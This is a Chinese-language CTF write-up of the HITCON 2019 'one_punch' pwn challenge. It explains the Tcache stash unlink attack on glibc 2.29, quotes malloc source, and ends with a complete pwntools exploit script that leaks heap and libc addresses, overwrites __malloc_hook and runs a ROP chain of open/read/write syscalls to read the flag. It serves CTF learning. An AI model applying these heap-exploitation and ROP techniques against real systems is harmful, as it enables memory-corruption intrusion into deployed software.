BUU-hitcon_ctf_2019_one_punch-WP

Posted on Mar 28, 2021

许久没做题了,今天花了半天的时间学习了一下 Tcache stash unlink attack 这种利用方式,做了一下 hitcon 的这道题。

其实第一次碰到这道题是在 hctf-game final 的时候,语神给这道题套了一个 php 的壳当成 webpwn 出了出来,当时由于不知道该怎么 leak(由于外面套了一层 php,内部堆的结构非常混乱而且易变)就没有做出来。一直没有复现,解一下这题也就当复现了吧。

漏洞点非常多

  • rename 可以 UAF
  • retire 可以 double free
  • show 可以 leak 许多东西
  • 存在一个后门函数可以使用 malloc 申请空间

leak 堆和 libc 的基址非常容易,申请两个大小相同的堆块再 free 掉,通过 show 函数可以泄露出 fd 指针的值,简单计算一下就可以获得基址。

由于 calloc 不会从 tcache 中取出堆块,所以多次申请和释放就可以填满 tcahce,再申请释放就可以 leak 出 &main_arena + 96 了,然后就可以算出 libc_base。

这些都算出来后,结合 UAF 的漏洞,只要有一个 malloc 就可以通过 tcache poisoning 实现对 __malloc_hook 的任意写了。但是 debut 函数使用的是 calloc,只有使用后门函数才可以实现对 malloc 的调用。而要执行后门函数

必须满足 *(qword_4030 + 32) > 6,而 qword_4030 中存储的是 tcache_ptread_struct 的地址,也就是要满足大小为 0x20 的 tcache 链中要有 6 个以上的 bins,而我们分配不出这个大小的 chunk。做法其实有许多,这里只说 Tcache stash unlink attack 的做法。

其实要满足的就是要使一个确定的地址上的值为一个较大的值,自然的,使用 unsorted bin attack 是首选,但是在 glibc 2.29 下

while ((victim = unsorted_chunks (av)->bk) != unsorted_chunks (av))
       {
         bck = victim->bk;
         size = chunksize (victim);
         mchunkptr next = chunk_at_offset (victim, size);

         if (__glibc_unlikely (size <= 2 * SIZE_SZ)
             || __glibc_unlikely (size > av->system_mem))
           malloc_printerr ("malloc(): invalid size (unsorted)");
         if (__glibc_unlikely (chunksize_nomask (next) < 2 * SIZE_SZ)
             || __glibc_unlikely (chunksize_nomask (next) > av->system_mem))
           malloc_printerr ("malloc(): invalid next size (unsorted)");
         if (__glibc_unlikely ((prev_size (next) & ~(SIZE_BITS)) != size))
           malloc_printerr ("malloc(): mismatching next->prev_size (unsorted)");
         if (__glibc_unlikely (bck->fd != victim)
             || __glibc_unlikely (victim->fd != unsorted_chunks (av)))
           malloc_printerr ("malloc(): unsorted double linked list corrupted");
         if (__glibc_unlikely (prev_inuse (next)))
           malloc_printerr ("malloc(): invalid next->prev_inuse (unsorted)");

增加了大量检查,使得 unsorted bin attack 几乎无法使用,所以就要用到 stash 机制了。

这个机制存在于简单的说,就是尽可能的把 chunk 放到 tcache 中,但是在从其他的 bin 中解链的时候,欠缺检查。以 small bin 为例,分配给用户后,还会继续把队列上的 small bin 放入大小对应的 tcache 中,直到 tcache 被填满或者 small bin 被拿空。下面从代码上来看

以下是分配器处理 small request 的时候,遍历对应的 small bin 的过程

if (in_smallbin_range (nb))
    {
      idx = smallbin_index (nb);
      bin = bin_at (av, idx);

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

          if (av != &main_arena)
	    set_non_main_arena (victim);
          check_malloced_chunk (av, victim, nb);
#if USE_TCACHE
	  /* While we're here, if we see other chunks of the same size,
	     stash them in the tcache.  */
	  size_t tc_idx = csize2tidx (nb);
	  if (tcache && tc_idx < mp_.tcache_bins)
	    {
	      mchunkptr tc_victim;

	      /* While bin not empty and tcache not full, copy chunks over.  */
	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }
		}
	    }
#endif
          void *p = chunk2mem (victim);
          alloc_perturb (p, bytes);
          return p;
        }
    }

如果 small bin 中有 best fit,就会进行下面这一段是处理分配,也就是将 small bin 的队尾的 chunk 解链,之后返回给用户

      if ((victim = last (bin)) != bin)
        {
          bck = victim->bk;
	  if (__glibc_unlikely (bck->fd != victim))
	    malloc_printerr ("malloc(): smallbin double linked list corrupted");
          set_inuse_bit_at_offset (victim, nb);
          bin->bk = bck;
          bck->fd = bin;

如果没有 stash 机制,到这里就可以结束了。但是由于 stash 机制,剩下的 small chunk 也会被尽可能地放进对应大小的 tcache 中

                  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

而这里没有进行检查,所以可以起到类似 unsorted bin attack 的效果,把一个较大的值写入一段地址中。要满足的条件就是控制一个 small bin 的 bk 指针。

下面引用此文章的总结

Tcache stash unlink attack,可以实现等价于 unsortedbin 的作用,即向任意地址写入一个不可控的大数字。其最核心操作,就是先放入 2 个 chunk 到 smallbin,6 个 chunk 到对应的 tcache 。之后在不破坏 fd 的情况下将后放入 smallbin 的 chunk 的 bk 设置为目标地址- 0x10 。这样当再向 smallbin 申请对应 size 的 chunk 时(一般用 calloc,因为 calloc 不请求 tcache ),先放入 smallbin 的 chunk 被分配给用户,然后触发 stash 机制。bck = tc_victim->bk; 此时的 bck 就是目标地址-0x10,之后 bck->fd = bin; 也就是*(目标地址-0x10+0x10) = bin,这样就实现了等价于 unsortedbin 的操作。之后调用 tcache_put 把后放入 smallbin 的 chunk 取出给对应的 tcache ,因为 tcache 之前已经被布置了 6 个 chunk ,这次 put 后达到了阈值,所以也就退出了这次 stash 循环,整个流程就可以正常结束了。

tcache 中原本就要有 6 个 chunk 还是比较重要的,不然就会出现段错误。因为再一次循环时,我们 tc_victim 就等于我们想写的地址的值了,结合上面的代码可以看出是很容易出现段错误的。


将目标地址覆写为较大值后,就可以 malloc 了,可以很容易地分配到 __malloc_hook 上

但是本题开启了白名单,需要 orw 来获得 flag。

注意到我们的输入是先存在栈上,之后再复制过去的,当 calloc 的时候,会调用 __malloc_hook 指向的代码,如果我们让它指向 add rsp,0x·· ; ret 就可以实现 rop 了。经过调试,0x48 就正好会跳转到我们的输入上。

很坑爹的是,libc 中 open 函数并不是用 sys_open 调用来实现的,而是 sys_openat(感谢这位师傅的文章)所以要通过 syscall 来实现 open。

#!/usr/bin/env python
# coding=utf-8
from pwn import *
context.log_level = 'debug'
context.terminal = ["tmux",'splitw','-h']

#sh = process("./hitcon_ctf_2019_one_punch")
sh = remote("node3.buuoj.cn",29896)
libc = ELF("./libc-2.29.so")
#libc = ELF("/glibc/2.27/amd64/lib/libc.so.6")

def debut(payload,index):
    sh.sendlineafter("> ",'1')
    sh.sendlineafter("idx: ",str(index))
    sh.sendafter("hero name: ",payload)

def rename(payload,index):
    sh.sendlineafter("> ",'2')
    sh.sendlineafter("idx: ",str(index))
    sh.sendafter("hero name: ",payload)

def show(index):
    sh.sendlineafter("> ",'3')
    sh.sendlineafter("idx: ",str(index))

def retire(index):
    sh.sendlineafter("> ",'4')
    sh.sendlineafter("idx: ",str(index))

def magic(payload):
    sh.sendlineafter("> ",'50056')
    sh.send(payload)

debut('a' * 0xF8,0)
debut('a' * 0xF8,1)
retire(0)
retire(1)
show(1)
sh.recvuntil(": ")
heap_base = u64(sh.recv(6) + '\x00\x00') - 0x260
log.success("heap_base:" + hex(heap_base))

for i in range(4):
    debut('a' * 0xf8,0)
    retire(0)

for i in range(7):
    debut('a' * 0x400,0)
    retire(0)

debut('a' * 0x400,0)
debut('a' * 0x150,2)
debut('a' * 0x400,1)
retire(0)
show(0)
sh.recvuntil(": ")
libc_base = u64(sh.recv(6) + '\x00\x00') - libc.symbols["__malloc_hook"] - 0x10 - 96
log.success("libc_base:" + hex(libc_base))
debut('a' * 0x300,2)
debut('a' * 0x200,2)#belong to idx:0
retire(1)
debut('a' * 0x300,2)
debut('a' * 0x200,2)#belong to idx:1
debut('a' * 0x217,2)
retire(2)

payload = '/flag\x00'.ljust(0x300,'b') + p64(0) + p64(0x101) + p64(heap_base + 0x27D0) + p64(heap_base + 0x30 - 0x10 - 5)
rename(payload,1) 
debut('a' * 0xF8,1)

__malloc_hook_addr = libc_base + libc.symbols["__malloc_hook"]
rename(p64(__malloc_hook_addr),2)
magic('pass')
magic(p64(libc_base + 0x8cfd6)) # add rsp,0x48;ret
pop_rdi_ret = libc_base + 0x26542
pop_rsi_ret = libc_base + 0x26f9e
pop_rdx_ret = libc_base + 0x12bda6
pop_rax_ret = libc_base + 0x47cf8
syscall_ret = libc_base + 0xcf6c5
payload = ''
payload += p64(pop_rdi_ret) + p64(heap_base + 0x2A40) 
payload += p64(pop_rsi_ret) + p64(0) + p64(pop_rdx_ret) + p64(0)
payload += p64(pop_rax_ret) + p64(2) + p64(syscall_ret)
payload += p64(pop_rdi_ret) + p64(3) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.symbols["read"])
payload += p64(pop_rdi_ret) + p64(0) + p64(pop_rsi_ret) + p64(heap_base) + p64(pop_rdx_ret) + p64(0x100) + p64(libc_base + libc.symbols["write"])
debut(payload.ljust(0x100,'a'),0)

sh.interactive()